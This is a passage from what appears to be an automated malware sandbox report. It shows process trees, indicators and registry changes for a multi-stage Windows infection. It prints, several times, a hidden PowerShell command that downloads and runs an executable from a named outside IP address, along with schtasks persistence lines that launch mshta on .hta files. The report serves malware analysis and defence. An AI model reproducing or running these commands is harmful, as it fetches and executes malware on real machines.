ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	3213bc35b0.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	f139586082.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	f139586082.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2396	schtasks.exe
1012	schtasks.exe
2308	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe
2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
1716	rapes.exe
1600	powershell.exe
2028	powershell.exe
872	powershell.exe
1600	powershell.exe
1600	powershell.exe
2392	TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE
2140	powershell.exe
752	powershell.exe
752	powershell.exe
752	powershell.exe
848	483d2fa8a0d53818306efeb32d3.exe
2064	d179efc16e.exe
1236	3213bc35b0.exe
1236	3213bc35b0.exe
1236	3213bc35b0.exe
1236	3213bc35b0.exe
1236	3213bc35b0.exe
1552	f139586082.exe
1552	f139586082.exe
1552	f139586082.exe
1552	f139586082.exe
1552	f139586082.exe
1528	cfbb954bb6.exe
31372	Process not Found
83204	Process not Found

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	2208	38ebb38e9d.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
1964	78796a8755ee5cc1c74279bbba9dadd9.exe
1964	78796a8755ee5cc1c74279bbba9dadd9.exe
1964	78796a8755ee5cc1c74279bbba9dadd9.exe
2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
3036	f2de3ae59f.exe
3036	f2de3ae59f.exe
3036	f2de3ae59f.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1964	78796a8755ee5cc1c74279bbba9dadd9.exe
1964	78796a8755ee5cc1c74279bbba9dadd9.exe
1964	78796a8755ee5cc1c74279bbba9dadd9.exe
3036	f2de3ae59f.exe
3036	f2de3ae59f.exe
3036	f2de3ae59f.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 1788	1964	78796a8755ee5cc1c74279bbba9dadd9.exe	30
PID 1964 wrote to memory of 1788	1964	78796a8755ee5cc1c74279bbba9dadd9.exe	30
PID 1964 wrote to memory of 1788	1964	78796a8755ee5cc1c74279bbba9dadd9.exe	30
PID 1964 wrote to memory of 1788	1964	78796a8755ee5cc1c74279bbba9dadd9.exe	30
PID 1964 wrote to memory of 2408	1964	78796a8755ee5cc1c74279bbba9dadd9.exe	31
PID 1964 wrote to memory of 2408	1964	78796a8755ee5cc1c74279bbba9dadd9.exe	31
PID 1964 wrote to memory of 2408	1964	78796a8755ee5cc1c74279bbba9dadd9.exe	31
PID 1964 wrote to memory of 2408	1964	78796a8755ee5cc1c74279bbba9dadd9.exe	31
PID 1788 wrote to memory of 2396	1788	cmd.exe	33
PID 1788 wrote to memory of 2396	1788	cmd.exe	33
PID 1788 wrote to memory of 2396	1788	cmd.exe	33
PID 1788 wrote to memory of 2396	1788	cmd.exe	33
PID 2408 wrote to memory of 2560	2408	mshta.exe	34
PID 2408 wrote to memory of 2560	2408	mshta.exe	34
PID 2408 wrote to memory of 2560	2408	mshta.exe	34
PID 2408 wrote to memory of 2560	2408	mshta.exe	34
PID 2560 wrote to memory of 2688	2560	powershell.exe	37
PID 2560 wrote to memory of 2688	2560	powershell.exe	37
PID 2560 wrote to memory of 2688	2560	powershell.exe	37
PID 2560 wrote to memory of 2688	2560	powershell.exe	37
PID 2688 wrote to memory of 1716	2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE	38
PID 2688 wrote to memory of 1716	2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE	38
PID 2688 wrote to memory of 1716	2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE	38
PID 2688 wrote to memory of 1716	2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE	38
PID 1716 wrote to memory of 3036	1716	rapes.exe	40
PID 1716 wrote to memory of 3036	1716	rapes.exe	40
PID 1716 wrote to memory of 3036	1716	rapes.exe	40
PID 1716 wrote to memory of 3036	1716	rapes.exe	40
PID 3036 wrote to memory of 2464	3036	f2de3ae59f.exe	41
PID 3036 wrote to memory of 2464	3036	f2de3ae59f.exe	41
PID 3036 wrote to memory of 2464	3036	f2de3ae59f.exe	41
PID 3036 wrote to memory of 2464	3036	f2de3ae59f.exe	41
PID 3036 wrote to memory of 2280	3036	f2de3ae59f.exe	42
PID 3036 wrote to memory of 2280	3036	f2de3ae59f.exe	42
PID 3036 wrote to memory of 2280	3036	f2de3ae59f.exe	42
PID 3036 wrote to memory of 2280	3036	f2de3ae59f.exe	42
PID 2464 wrote to memory of 1012	2464	cmd.exe	44
PID 2464 wrote to memory of 1012	2464	cmd.exe	44
PID 2464 wrote to memory of 1012	2464	cmd.exe	44
PID 2464 wrote to memory of 1012	2464	cmd.exe	44
PID 2280 wrote to memory of 1600	2280	mshta.exe	45
PID 2280 wrote to memory of 1600	2280	mshta.exe	45
PID 2280 wrote to memory of 1600	2280	mshta.exe	45
PID 2280 wrote to memory of 1600	2280	mshta.exe	45
PID 1716 wrote to memory of 1940	1716	rapes.exe	47
PID 1716 wrote to memory of 1940	1716	rapes.exe	47
PID 1716 wrote to memory of 1940	1716	rapes.exe	47
PID 1716 wrote to memory of 1940	1716	rapes.exe	47
PID 1940 wrote to memory of 2032	1940	cmd.exe	49
PID 1940 wrote to memory of 2032	1940	cmd.exe	49
PID 1940 wrote to memory of 2032	1940	cmd.exe	49
PID 1940 wrote to memory of 2032	1940	cmd.exe	49
PID 1940 wrote to memory of 2172	1940	cmd.exe	50
PID 1940 wrote to memory of 2172	1940	cmd.exe	50
PID 1940 wrote to memory of 2172	1940	cmd.exe	50
PID 1940 wrote to memory of 2172	1940	cmd.exe	50
PID 2172 wrote to memory of 2028	2172	cmd.exe	51
PID 2172 wrote to memory of 2028	2172	cmd.exe	51
PID 2172 wrote to memory of 2028	2172	cmd.exe	51
PID 2172 wrote to memory of 2028	2172	cmd.exe	51
PID 1940 wrote to memory of 1932	1940	cmd.exe	52
PID 1940 wrote to memory of 1932	1940	cmd.exe	52
PID 1940 wrote to memory of 1932	1940	cmd.exe	52
PID 1940 wrote to memory of 1932	1940	cmd.exe	52

C:\Users\Admin\AppData\Local\Temp\78796a8755ee5cc1c74279bbba9dadd9.exe
"C:\Users\Admin\AppData\Local\Temp\78796a8755ee5cc1c74279bbba9dadd9.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn kbYoBma6kzE /tr "mshta C:\Users\Admin\AppData\Local\Temp\pIaLrZ9PM.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn kbYoBma6kzE /tr "mshta C:\Users\Admin\AppData\Local\Temp\pIaLrZ9PM.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2396
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\pIaLrZ9PM.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'RFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2560
  - - C:\Users\Admin\AppData\Local\TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
      "C:\Users\Admin\AppData\Local\TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2688
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1716
      - C:\Users\Admin\AppData\Local\Temp\10099760101\f2de3ae59f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10099760101\f2de3ae59f.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:3036
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn hs68tmaP5H1 /tr "mshta C:\Users\Admin\AppData\Local\Temp\VxlYqZMBD.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2464
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn hs68tmaP5H1 /tr "mshta C:\Users\Admin\AppData\Local\Temp\VxlYqZMBD.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1012
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\VxlYqZMBD.hta
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of WriteProcessMemory
        
        PID:2280
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'RAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
        
        C:\Users\Admin\AppData\Local\TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE
        
        "C:\Users\Admin\AppData\Local\TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2392
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\10099770121\am_no.cmd" "
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1940
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2032
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2172
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1932
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:872
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1572
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "q3GbImaGEM8" /tr "mshta \"C:\Temp\oshZWMaK0.hta\"" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2308
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\oshZWMaK0.hta"
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2328
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:752
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:848
      - C:\Users\Admin\AppData\Local\Temp\10100160101\d179efc16e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100160101\d179efc16e.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2064
        
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        7⤵
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1788
      - C:\Users\Admin\AppData\Local\Temp\10100170101\38ebb38e9d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100170101\38ebb38e9d.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2208
        
        C:\Users\Admin\AppData\Local\Temp\10100170101\38ebb38e9d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100170101\38ebb38e9d.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1028
        8⤵
        Loads dropped DLL
        Program crash
        
        PID:580
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 508
        7⤵
        Loads dropped DLL
        Program crash
        
        PID:1992
      - C:\Users\Admin\AppData\Local\Temp\10100180101\3213bc35b0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100180101\3213bc35b0.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:1236
      - C:\Users\Admin\AppData\Local\Temp\10100190101\f139586082.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100190101\f139586082.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:1552
      - C:\Users\Admin\AppData\Local\Temp\10100200101\cfbb954bb6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100200101\cfbb954bb6.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1528
        
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        7⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:2672
      - C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2928
        
        C:\Windows\TEMP\{0E04CCED-A2A7-443E-92B7-0BA3589DA45C}\.cr\z3SJkC5.exe
        
        "C:\Windows\TEMP\{0E04CCED-A2A7-443E-92B7-0BA3589DA45C}\.cr\z3SJkC5.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe" -burn.filehandle.attached=216 -burn.filehandle.self=212
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2728
        
        C:\Windows\TEMP\{DAEB69DC-1A70-40F1-8F7B-BAAEFFF9DBEB}\.ba\WiseTurbo.exe
        
        C:\Windows\TEMP\{DAEB69DC-1A70-40F1-8F7B-BAAEFFF9DBEB}\.ba\WiseTurbo.exe
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2876
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 208
        8⤵
        Loads dropped DLL
        Program crash
        
        PID:772
      - C:\Users\Admin\AppData\Local\Temp\10100220101\BXxKvLN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100220101\BXxKvLN.exe"
        6⤵
        Executes dropped EXE
        
        PID:1364
      - C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:484
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2788
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2072
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2572
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2148
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2976
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:1144
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:1756
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:3032
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2332
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:3024
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2316
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2880
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2768
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:940
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:928
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:1280
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:3068
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:1012
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:2096
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:276
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        
        PID:1504
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
